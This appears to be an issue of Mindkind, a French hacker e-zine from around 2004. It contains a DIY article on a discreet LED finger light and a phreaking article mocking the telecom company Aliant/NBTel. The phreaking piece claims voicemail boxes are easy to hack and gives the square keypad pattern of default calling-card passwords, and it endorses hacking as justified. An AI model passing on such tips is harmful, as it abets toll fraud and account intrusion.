| L\:-=[<bogosse> plz je veux savoir coment controler un cp                    ]=--[~~]----|
|      [<Arsenick> bogosse cp -R pour un directory                             ]    \/     | 
       [<Arsenick> c toute                                                     ]           | 
|      [<MADGiK> Arsenick                                                      ] Your   
|      [<MADGiK> cp = computer                                                 ] computer              
|      [<MADGiK> :P                                                            ] love lazy |  
       [<Arsenick> non ?                                                       ] friend    | 
       [<MADGiK> genre                                                         ]           |  
|      [<Arsenick> sérieux ?                                                   ]               
|-[~]-=[<MADGiK> ouais                                                         ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 



.---+-=[ When leds lead to lockpicking       ]=------+---------------------------=[13]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Qwzykx    ]=-|
| //                                                                                       |
| L\:-=[Ak : Un cossin attend pas l'autre               ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


Se promener dans la sombre pénombre est souvent problématique,  malheureusement
contrairement  aux  chats  l'oeil  humain  est  de beaucoup moins sensible à la 
lumière, surtout celle  qu'il  y  a  quand  il  n'y en a pas ;) L'être humain a 
inventé plusieurs façon de s'éclairer depuis l'aube tu temps  ou il y a penser, 
c'est peut-être pour sa d'ailleurs que l'évolution ne nous  a  pas  donner  des 
yeux de chats.. peu importe,  dans  ce  petit article de divertissement je vous 
propose de mettre de la lumière dans vos projets nocturne, le tout dans un truc 
qui est plus portatif et discret  qu'un feu de foyer :P  

J'me  promenait  dans  le  noir,  un  de ces soir d'été, quand je me suis rendu 
compte que c'était pas l'idéal, d'un  point de vue pratique du moins, mais d'un 
autre  cote  étant  quelqu'un  de timide de nature, j'aimais pas pour autant le 
feeling de me  promener  dans les bois avec une flash light super voyante.. car 
bien que l'homme  ait  pas des yeux potent biologiquement parlant, on peut dire 
qu'il distingue bien  une  lueur  dans  un  noir  complet..  s'en  est  presque 
philosophiquement une conception  de  'intelligence... enfin, toujours s est-il 
que  pour mon  égo,   j'ai préféré de tenter d'être plus intelligent que ce mr. 
n'importe qui qui pourrait , par hasard, regarder  dehors  ce qui se passe dans 
le fond de son petit boisé. pour se faire j'ai immédiatement  discarder  l'idée 
de prendre une classique mag-lite, de  même  qu'une  lumière  frontale.  Il  me 
fallait  un  truc  plus  discret..  mais aussi pratique, voyez, j'avais en tête 
d'utiliser mes dix doigts lors de mon escapade nocturne, comme si finalement je 
serais un vrai humain se promenant en toute sa  liberté,  explorant candidement 
les  bois  en  observant  grâce à sa lumière tamiser, et de ses mains la nature 
qu'il  l'entoure  ;)  Et  à  cette fin, j'ai développé une lumière portative, à 
intensité réglable, qui permet à un personne de se promener en voyant ou y s'en 
va.. autant dans ses pas que dans ses projets, le tout de façon discrète et non 
encombrante.. 

Le projet est en fait très simples, sa va peut-être donner à ceux de  vous  qui 
ont  jamais  été capable de crée de quoi de viable électroniquement un défi, il 
s'agit en gros d'une LED fixer à un velcro, qui est lui-même fixer au  doigt de 
la  personne qui le porte, idéal pour les raves par le fait même.. ;) Mais dans 
ce cas si, le but est pas de penser à ce que vous pourrez faire avec ce bidule, 
mais plutôt de vous montrer comment le faire!


D'abord  les  pièces  essentielles  à  la  réalisation  de  ce  projet sont les 
suivantes :

-LED Blanche ou Bleu ou Rouge (au tour de 30mA de consommation électrique)
-Une pile de 12v, format petite (et oui sa se fait)...
-Un  socket  pour  fixer  la mini-pile de 12v (idéal pour le côte pas chiant de 
 taper le tout)
-Du fil, idéalement de quoi de pas trop gros comme truc.
-Un interrupteur a trois position, ou 2 interrupteur de type On/Off .
-2 résistances.. un de 570 Ohms et une de 280 Ohms.
-Des bandes de velcro.

Passons maintenant au montage, tout d'abord il faut fixer le fil qui alimentera 
la LED,  en courant. Noter que la LED a un pole positif et neutre, donc assurez 
vous de brancher le tout comme il le faut, conseil gratuit : le côte neutre est 
du même  cote  que la partie la pin de métal la plus grande à l'intérieur de la 
LED. La pin  neutre sera donc reliée directement au - de la pile,  ou plutôt de 
son socket.  Tandis  que la partie positive sera branchée aux interrupteurs via 
un fil. L'interrupteur sera à son tour branché aux résistances appropriés et le 
tout sera relié à la borne positive du socket à batterie.


    12v                                    12v             R1                   
     |        I1     R1              OU     |       _____/\/\/\___                       
     |     ___/ ___/\/\/\__                 |    /         R2     \_____                  
     |____/   I2     R2    \_____           |___/   _____/\/\/\___/     |                       
          \___/ ___/\/\/\__/     |                  ___                 |
                                 |                     |                |
                                 |                     NC               |
                                 |                                      |
                                _|_                                    _|_                         
                                \ /  D1                                \ /  D1                          
                               ``|''                                  ``|''                                 
                                 |                                      |                      
                                 |                                      |                       
                                GND                                    GND                           

12v = Côté + de la pile.
GND = Côté neutre ou - de la pile.
I1 = Interrupteur #1.
I2 = Interrupteur #2.
R1 = Résistance de 570 Ohms.
R2 = Résistance de 280 Ohms.
D1 = Diode LED, Blanche [idéalement], ou Bleu / Rouge.

I3 = Interrupteur #3, trois positions.
NC = Parti non connecter.

On  vois  donc  plutôt bien que seul le bout d e fil  qui  sors  du  'pack'  de 
résistance et d'interrupteur  se  rend  au  bout de votre doigt (de même que le 
GND), le reste est  fixer,  collé  au velcro, qui est lui-même self-strapable à 
souhait autour de votre  doigt  ou  poignet.  La partie ou la LED se trouve est 
quand à elle collée de la même  façon  à un velcro, qui est accroché au bout de 
votre doigt, à l'angle auquel vous voulez bien le mettre. 

Image [IMG-01] et [IMG-02]

L'astuce est donc simple, on choisi entre le niveau d'éclairage que l'on désire 
soit celui qui est faible pour une discrétion accrue lors de vos manipulations, 
ou celui   qui est plus intense pour un éclairage plus éclairé ;) idéal pour se 
déplacer dans le noir.. La  Résistance  R2 est plus grande que celle de R1 donc 
les électrons se déplacent dans  le  circuit sont bloqués en quelque sorte lors 
du passage dans celle-ci, ce qui provoque donc une baisse de tension aux bornes 
de  la  diode  (D1),  ayant  comme  conséquence  un   éclairage   moins   fort. 
L'utilisation d'un interrupteur à trois positions serait plus judicieux, car on 
éviterais d'activée (comme dans ce cas  ci)  les  deux  interrupteurs  en  même 
temps, ce qui risquerait bien franchement de griller votre LED (au prix évidant
d''n éclairage intense.. vraiment intense pendent quelques secondes .. si  vous 
êtes  chanceux..)  Dans  le  deuxième  cas,  les  trois  positions idéal serait 
évidament pour les  deux fonctions d'intensité différente, et une position Off. 
De plus, il est à noter que  c'est  pas parce que votre LED allume au plus haut 
niveau qu'elle est  super  évidente, on  peut facilement glisser la LED, via le 
velcro, à l'intérieur de la main, et régler ainsi, de façon cheap, la quantitée 
de lumière qui sort de votre main pour éclairer  ce  qui vous entour... de même 
que la direction du beam. On peut aussi modifier à notre goût  les résistances, 
avec un simple calcul mathématique: V=RI , comme notre LED   consomme  environs 
30mA, fonctionne à un voltage de 3.5v et que j'alimente celle-ci avec 24v (soit 
2 petites pilles de 12v, j'ai fait le calcul suivant :

24v - 3.5v = 20.5v  Ce  qui  nous  donne  le  voltage  qu'on  aux  bornes de le 
                    résistance à l'intérieur du circuit.

20.5v / 0.03A = 683.3333 -> 680 Ohms    Ce  qui  nous  donne  la  valeur  de la 
                                        résistance  qu'on  doit  placer   affin 
                                        obtenir un courant de 30mA (0.03A) avec 
                                        3.5v à la LED (car la résistance bouffe
                                        20.5v)

Ici  l'inconnue  était  la  résistance , donc  on a du faire le calcul suivant: 
R=V/I  Il  s'agit  en fait d'une simple règle de trois très malléable. (A noter 
aussi que pour  trouver  la résistance on a besoin du voltage à ses bornes (ici 
20.5v).

Pour  obtenir une lumière plus fiable, j'ai réduit le nombre d'ampère circulant 
dans le circuit, et par conséquence, la valeur de la résistance :

20.5v / 0.015A = 1366.66 -> 1.4K Ohms   Ce qui nous donne encore 3.5v au  borne 
                                        de la LED, mais qui réduit de moitié la  
                                        quantité  d'électrons  qui   voyage   à 
                                        l'intérieur du circuit.

Comme dans cette article la source est de 12v et non de 24v, on peut facilement 
re-calculer les valeurs de résistances:

12v - 3.5v = 8.5v (au borne de la résistance)

8.5v / 0.03A = 283.33 -> 280 Ohms 

8.5v / 0.015A = 566.66 -> 570 Ohms

Vous pouvez évidement changer la valeur des résistances  selon  vos désirs, une 
résistance plus élevé aura pour conséquence de diminuer  l'intensité  lumineuse
de la LED. Bien que les valeurs du genre 280 Ohms ou 570 Ohms  sont plutôt rare 
dans  le monde  des  résistances, on peut combiner une 250, avec une 20 Ohms en 
série par  exemple,  ou  simplement  choisir  d'arrondir  à  des  résistance de 
250 Ohms et de 600 Ohms.

Voila,  je  serais donc bref dans ma conclusion en vous disant que c'est pas le 
projet le plus  long que j'ai fait de ma vie ;) Mais tout de même si vous êtes
un  inculte  du  milieu  de,  voila au moins ce qui faut faire pour allumer une 
lumière.

                             Qwzykx qui va veiller en ville avec ses cossins...
                                                                   So long !!..
								   

                                 
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit plein d'opportunités         \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[* sexyfill (~retnryt@81.192.197.195) has joined #hack.fr               ]=--[~~]----|
|      [<sexyfill> je veux une aide en echaenge une baise                      ]    \/     | 
       [<Gh0stD0G> ROFL                                                        ]           | 
|      [<sexyfill> tu peux m'aider                                             ] reality
|      [<Gh0stD0G> nop fuckyou                                                 ] only               
|      [<Zarex> haha                                                           ] strike you|  
       [<sexyfill> zarex tu peux m'aider                                       ] once      | 
       [<HackFr> Objects in mirror may be less virtual than they appear        ]           |  
|      [<sexyfill> hackfr                                                      ]               
|-[~]-=[<sexyfill> tu peux ma'ider                                             ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 




.---+-=[ Le phreaking de par chez nous       ]=------+---------------------------=[14]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[c4ndu     ]=-|
| //                                                                                       |
| L\:-=[Ak : L'évolution de la rapace.                  ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               



Comme toute  société  ou  être  humain,  les   compagnies   visent  l'évolution
stricte, c'est à dire de ne jamais dégrader et toujours être  à  la hauteur  de
ce que leurs clients  aiment.  Eux  qui,  si  généreusement,  font  grossir  la
bedaine du fumeur de  cigares  cubains  assis sur  son gros siège en cuir brun,
appellé  monsieur  le  boss.  Chaque changement au sein d'une compagnie résulte 
d'une  étude  "approfondie",  qui  vise   à  faire  grossir  leur ampleur et de 
grossir  le  cachet,  tout  en  conservant l'image de bonne volonté,   question  
d'avoir  plusieurs  pommes  pourries  dans   leur  sac  immense  qu'on  appelle  
souvent  'la clientèle'.  Bref,   on  ajuste  notre  tir  de  façon  a  pouvoir 
poigner la masse bizarre, ceux    qui  se  demandent  qu'est-ce  que le  3/4 de 
9 si on ajoute 2 au résultat et qu'on ajoute la constante de temps par distance  
d'une  feuille  noir  qui   tombe  sur  la  surface  de   la  lune. C'est  donc  
probablement  nous  les victimes,  toi,  moi,  toi,  moi,  moi,  il, elle, ils. 
(Si vous n'avez pas compris le  punch  de la  dernière  phrase   j'ai  des faux 
billets d'un show d'humour à vendre). 

Le  phreaking   est   l'une   des  dures  façons  de  faire les choses. Souvent 
confronter  au  grand  froid  canadien,  la police  qui  semble tourner en rond  
(le centre c'est vous),  les  pay phones  non-trustable,   l'essai  d'une tonne 
de so called box   qui  ne  semble  pas  très bien fonctionner, le beige boxing 
et c'est danger  tome 1, et  sans  oublier  le  stress vécu durant  un  périple  
qui  a  duré  3h, sois 2h a boire, 30 min de marche, et 30 min à gosser avec la 
gray box. 

Il  y  a  quelques  années, la compagnie de téléphone provincial était   nommée 
NBTel, le NB pour New Brunswick et je vous laisse deviner le reste. Vendant une 
tonne de service, mais rien de très très nouveau, c'est à  dire  une  bunch  de 
service étoiler (*99, *69, etc.), des plans  de  longues  distances, des cartes 
d'appels, afficheur. Bref, vous voyez le genre ? En effet,  le bon  vieux temps 
... NBTel ne se souciait généralement  pas  des marginaux, on pouvait appliquer 
pas mal les même principes d'une tonne de box  en ayant  un peu  de  skills  en  
social engineering .  Rien de très complexe, rappelez-vous d'un matin de vos 12 
ans où vous avez eu supposément mal à la  tête,  vous  sauvant    ainsi   d'une   
journée   poche  à l'école  composée  du cours de musique où vous  deviez jouer  
de  la  clarinette  devant  30  copains.  C'était  en  effet  d'une   faciliter 
incroyable, les crosses étaient simples et  pouvaient  être  effectué  de façon 
répétitive,  question d'alléger le  montant  d'argent donné à NBTel.  Autrement  
dit,  plusieurs  personnes  faisaient du phreaking sans même le savoir ... quoi 
de plus  marquant  pour  prouver  la stupidité des arnaques. 

Mais  l'univers  à  depuis  ce  temps  très changé. NBTel à changé son nom pour 
Aliant  Telecom,  rien  de très très drastique pour ceux qui à la base n'aimait   
pas NBTel, sauf qu'on a vu un très gros changement d'infrastructures,  au  delà 
du  nom,  qui  déjà  prônais l'expansion territoriale,  on  a  réajusté le tir, 
visant  les  arnaqueurs de millionnaire.  NBTel  devena  alors  plus gros, plus 
fort, et  moins  stupide. Les crosses du bon vieux temps sont devenues beaucoup 
plus dures  à  effectuer.  NBTel a évolué, et les marginaux doivent  maintenant  
essayer   de  suivre.  Sauf  qu'encore  une  fois,  le  bateau  n'est  pas très 
rapide ... et on a réussi  à  le  suivre  pour  quelques mois, mais l'expansion 
semble être  de  plus  en plus rapide.   On   prévois s'acheter 2 rames de plus 
d'ici 2005. Le  problème,  c'est  qu'avec  la  venu  du  changement  de nom, et  
l'expansion s'en ai suivie, feu NBTel vise maintenant une clientèle plus  large  
que  le  NB,   et lorsqu'on prévoie avoir  une  bandwidth plus large,  y'a rien  
de  plus  normal  que  d'être  près  à  tout  éventualité .. les  phreakers  et  
les  méchants de  cette  société vont être plus nombreux à avoir la même cible, 
Aliant a passé  au mode 'j'me protège en mettant 3 capotes'. Mais comme  Aliant  
reste  NBTel, le résultat semble un peu bizarre,  voir même complètement idiot,  
mais  donnons  leur  le crédit  d'avoir  au  moins éliminé quelques rapaces qui 
ne savaient pas ce qu'ils faisaient. Bref, Paul Martin habiller en pyjama armé, 
ça fait peur à quelques canadiens, mais  ça  demeure  l'imbécile  heureux  dans   
la  tête  de  plusieurs.  La  preuve ?  Je vous voyais venir he.. la voici : 

-
At Aliant, the protection of the personal privacy information
of our customers is an integral part of our commitment to you.
In order to maintain privacy safeguards, we regret to inform you 
that the Name that Number service has been discontinued
as of December 1, 2004. 
-
Chez Aliant, la protection des informations confidentielles 
de nos clients fait partie intégrante de notre engagement envers vous.
Afin de maintenir les nouvelles mesures de protection de la vie 
privée, nous regrettons de vous informer que le service Qui est-ce? 
a été annulé depuis le 1er décembre 2004.
-



C'est en effet ce  que l'on pouvait constater sur le site de Aliant power page, 
la traduction française laisse à désiré, puisqu'on  est  porté  à  croire qu'il  
s'agit d'une loi  provinciale,   ou  whatever.  Mais  détrompez  vous,  soit en  
lisant  le  paragraphe  en  anglais,  ou  en  allant  sur canada411.ca qui nous 
permet  d'avoir acess au même service apellé 'reverse phone'  He oui, Aliant va 
toujours  demeurer  nbtel :)  J'ai  tenté  en  vain  d'avoir  de  l'information 
concrète  au  sujet  de  cette "nouvelle loi de protection de  la  vie privée",  
je suis  tombé  sur  un  superviseur biculturel  parlant  supposément français,  
à  croire  que  le   service   en  français  est  encore loin  d'être une chose 
importante chez Aliant. 


En fouillant un peu sur le site, question de trouver réponse  à  mes  questions
moi-même, je suis  tombé sur quelques paragraphes  assez  douteux,  digne  d'un
vendeur de limonade : 

-
Politique d'Aliant relative à la protection des renseignements personnels

Votre confidentialité



Chez Aliant, votre confidentialité est très importante. Après tout,  vous  êtes 
la raison pour laquelle nous travaillons. Notre  engagement  à  protéger  votre 
confidentialité nous a permis de nous forger une réputation  de  chef  de  file 
dans la protection de la confidentialité du client. C'est une  réputation  dont 
nous s ommes très fiers. Cependant, nous ne nous reposons pas sur nos lauriers. 
Afin  de  conserver  votre  confiance,  nous voulons que vous sachiez de quelle 
manière nous utilisons et conservons vos informations personnelles en sécurité. 
Nous gérons  de  manière  très  stricte  la  façon  dont  nous  utilisons   les 
informations personnelles  et  tous  nos employés ont été formés pour respecter 
votre confidentialité en tout  temps.  Nous voulons également rester ouverts au 
sujet de nos politiques et nous voulons vous donner la possibilité de poser des 
questions et trouver des réponses. 
-
 
Chez Télécommunications Aliant, nous sommes convaincus que vous,  notre client, 
êtes notre raison d'être.  Notre  engagement  de  longue  date  à  protéger  la 
confidentialité nous a valu la réputation de chef de file dans la protection de 
la confidentialité des renseignements sur les clients. 

Nous  avons mis en place de rigoureuses normes de protection  et  d'utilisation 
des renseignements personnels au sein de nos  systèmes  informatiques et de nos 
sites Web. De plus,  nous  exigeons  de  nos  employés  qu'ils  respectent   en 
permanence la 

confidentialité des renseignements sur les clients. 

La  Politique  sur  la  confidentialité  des renseignements sur les  clients de 
Télécommunications Aliant et le Code de  pratiques  équitables  en  matière  de 
renseignements  de  Télécommunications  Aliant  énoncent    clairement    notre 
engagement ainsi que les droits  des  clients à cet égard. Ceux-ci respectent à 
la lettre la Loi  sur  la  protection  des  renseignements  personnels  et  les 
documents électroniques, entrée en vigueur le 1er janvier 2001. 

-


Des lignes et des lignes de conneries ... y'en a la tonne. 

Dans la  lancée  de 'protection'  d'Aliant,  on  peut  quand même ressentir une  
certaine  méfiance  de  la part  de  leurs employés.  Petit fait assez stupide: 
faire chier l'opératrice,    qui   ne   s'est  jamais adonner à ce plaisir fou. 
Cependant, chez Aliant, ils ont une nouvelle forme de patience qui se  résume à 
2 pranks calls :) La suite est un avertissement  de  signalement  à  la police. 
On a  tenté  l'expérience  2  fois  et  on  remercie fièrement l'alcool d'avoir 
trouver ça très amusant. 

On peut aussi percevoir leur grande témérence et dignité avec leur fameuse vmb.  
Depuis le changement de nom, rien, voir meme absolument rien, ne  s'est  encore 
produit au sujet de la faciliter a hacker ses boites  vocales.  Toujours  aussi 
facile a hacker, et ayant une tone de service relier a leur  access, sois nbtel 
express ... permettant au black hat d'abonner la cible  a  une tone de service, 
d'avoir acess a des informations personnelles au  sujet de cette meme cible, et 
j'en passe. Le tout est expliquer probablement plus  en  detail dans un article 
au sujet de ce hack a 10 cents qui se retrouve  dans  mindkind10 et sur le site 
web. Anyway, pour l'instant, on peut quand  meme  constater  l'ironie  du  pour 
parler de circonstance d'aliant qui se vente  de proteger la vie privee de leur 
client.

Mais tous ces trucs nous permettent de réaliser  une  chose  importante,  c'est 
qu'on ne se protège    pas   de  ce  qui  nous ne attaque  pas,  on  peut  donc
conclure   que  Aliant  ont  eu  quelques problèmes. On  n'a qu'a penser à leur 
fameux numéro  de carte  d'appel avec un password prédéfini qui semble toujours 
avoir  la même  forme  visible   sur   le   clavier du téléphone. C'est-à-dire, 
que dans les cas où j'ai  eu  la  chance  de les  hackers,  le password formait 
un carré sur votre clavier .. 

1 2 3     1245, 2365, 6589 ...  
4 5 6           
7 8 9
 0 

Quand même assez con, non ? Y'a eu une folie régionale des cartes d'appel, tout 
le monde avait ou connaissait quelqu'un qui, par hasard, était tombé sur le bon 
password. Existe-t-il des phreakers au NB ? woah ... :) 

Je vais conclure cet article en ne vous  donnant  pas  le  but  ce  cet article 
uniquement parce que j'ai réussi à faire une phrase qui contenait 2 fois le mot 
article + 1 sur vous compter celui dans la pseudo explication.  Amusez-vous, et 
tâchez de trouver  au moins, à  la limite, des raisons pour justifier vos actes 
de hacking, Aliant est devenu ce  qu'il  est  devenu, et anyway, ça  ne  change 
pratiquement rien à notre vie, sauf  une  perfection  des techniques connues et 
l'apprentissage de d'autres ... car comme prônais IGA  en  son  temps,  la  fin 
justifie les moyens. Aliant n'a fait que donner une tape dans le dos à tout les 
gens qui s'adonne au phreaking et  par  le  fait  même,  éloigner  les quelques 
tarlas.




.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i| #hack.fr vous presente: la fin                   \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<Mindkind> <vn@freenode> :quit #hack.fr Read error: 110                ]=--[~~]----|
|      [(Connection timed out)                                                 ]    \/     | 
       [                                                                       ]           | 
|      [                                                                       ] Politicians
|      [                                                                       ] prefer
|      [                                                                       ] unarmed   |  
       [                                                                       ] peasants  | 
       [                                                                       ]           |  
|      [                                                                                       
|-[~]-=[                                                                       ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____'




   Déjà la fin, mais inquiétez vous pas on vous a pas attendu tout ce temps la,  on  c'est 
déjà lancer dans l'écriture de mindkind 111. Donc il devrait être disponible avant 2006 ;]
C'est donc en compagnie de cette vieille citrouille que nous vous  abandonnons  pour  vous 
donnez un rendez vous dans notre prochain ezine, ou sur #hack.fr si vous etes  pas capable
d'attendre.  Sur ce amusez vous bien, riez des imbéciles et engraissez vous de  tourtières
et autre mets gras du temps des fêtes. 





                                      ,-```-,.    
              .------.---...        .`       `    
          .-``     .`       .      ,`         `, 
        --`      ,`      ,`  .  ,-`       ,;-.  l
      .`        ,`     .`     `         .n    \,;
    --         / \    ;              ,,l      |/ \ 
  ,`         ,/   `\ l `            .	     /  / | 
 .`        .`/      `\             `;        \ / / 
,`        ,' `/,      `\             `.,      \  |   
,         ,    /_________\           .--;.,,-,,\/ 
,         ,    `   ,     `    /.     \      `,`--,
,         .        .         /  l     \      ,    `,,
:         :        :        /    `,    \   .`     `.`,.
';         .       `;       /_,     `    \-`  ;     `,  `-,   
`,        i        i          `.,.`\         i      :.    `l  
`,        ;        |            \ //         |       l      `,
 `,    ___.      __l            ///          l        l      l
  :   |   `\    /  `'`--.   	\/           :         :      ,
  `;  `\    \  /         `'`-------''`,.,    ,         ,      ,
   |.   \    \/     /\                   `, .   ,-..,__       .
   | ,   \         /  \              .    `, ,'`    .--`      .
    \ \   \_______/    \__________,-` `.,   `    .``         /| 
     | `,       `,       `.             .`--., ,`    ,'    ,` | 
_____| / `--.,;..,.`,..,, .``.  --=--  .` , ,.`.,,.,;,,.--`, /___   
      \    /    |           ` ` |`   /  /|`' '      \    /   |   | 
       |  /  /  |                \  /  / \           \  /  / |   |   Mindkind Wish u
       | /     /                  |   /  /            \   / /    |               
        \   / |                   |  / //              | / /     |          a
         | /  |                    \  //               |  |      |                         
          \  /                      `\/                \ /`      |   Creepy Chrismas            
           \|                         |                 \        |
            \                                            \       |       and an
                                                                 |
                                                                 |        happy
                                                                 |
                                                                 |    ! banana end !
                                                                 |___________________
